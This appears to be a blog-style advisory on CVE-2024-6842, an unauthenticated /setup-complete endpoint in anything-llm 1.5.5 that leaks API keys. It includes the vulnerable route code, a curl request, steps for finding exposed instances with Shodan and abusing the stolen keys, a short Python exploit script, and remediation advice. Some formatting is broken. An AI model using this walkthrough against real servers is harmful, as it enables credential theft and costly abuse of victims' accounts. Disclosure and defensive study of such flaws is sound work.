CVE-2024-6842 is a critical vulnerability that impacts version 1.5.5 of the open-source project mintplex-labs/anything-llm. The flaw lies in the improperly secured /setup-complete API endpoint, which allows any unauthenticated user to retrieve sensitive system configuration—including API keys for search engines and other third-party integrations.

This leak can be exploited to steal valuable credentials, giving attackers the ability to access search engine APIs or even incur financial loss to users by abusing their API quotas. In this article, we’ll break down how the vulnerability works, show example code, walk through exploitation, and provide guidance for remediation.


## How the /setup-complete Endpoint Leaks Secrets

Vulnerable Endpoint in anything-llm

The /setup-complete endpoint is meant to show if the setup process for AnythingLLM is done. However, in version 1.5.5, it returns all current system settings by calling a function named currentSettings. This function collects sensitive data like API keys and other private tokens.

In Express.js, the route handling might look like this

// setupController.js
const { currentSettings } = require("../util/settings");

async function getSetupComplete(req, res) {
  // ⚠️ No authentication is performed!
  res.json({ setupComplete: true, ...currentSettings() });
}

This means any user—no matter who—can call /setup-complete and get the entire settings object.

If a user or attacker sends a request like

curl https://your-llm-server.com/api/setup-complete

They might receive

{
  "setupComplete": true,
  "SERPAPI_API_KEY": "sk-xyz...",
  "GOOGLE_CSE_ID": "mysearchengineid",
  "OPENAI_API_KEY": "sk-abc...",
  ...
}

Find a Running Instance

Use search engines like Shodan or Censys to discover live AnythingLLM instances.

`bash

curl https://target.example.com/api/setup-complete

Extract API Keys

Abuse Credentials

- Use the keys to send requests to respective services or exhaust the user's quota, possibly costing them money or stealing data.

Here’s a simple exploit script in Python

import requests

target_url = "https://target.example.com/api/setup-complete"

r = requests.get(target_url)
if r.status_code == 200:
    print("Settings leaked!\n", r.json())
else:
    print("Failed. Status code:", r.status_code)

References

- Original CVE Report (CVE-2024-6842)
- anything-llm source (GitHub)
- Common Issues with API Security

Financial Loss: Attackers may incur costs by abusing your API quotas.

- Further Attacks: Exposed keys may open further doors (like access to your GPT/OpenAI account).

Remediation

- Upgrade AnythingLLM to the latest version, where this endpoint is secured.

Revoke and Regenerate Exposed Keys if you ever ran a vulnerable version.

- Add Authentication to All Sensitive Endpoints: Always check the user’s identity before exposing configuration.

Conclusion

*CVE-2024-6842* is a textbook example of what happens when sensitive API endpoints lack proper authentication. If you use AnythingLLM v1.5.5 or earlier, upgrade immediately, and check your logs for possible credential theft. Do not expose your API endpoints to the public internet without strict controls!

Timeline

Published on: 03/20/2025 10:15:33 UTC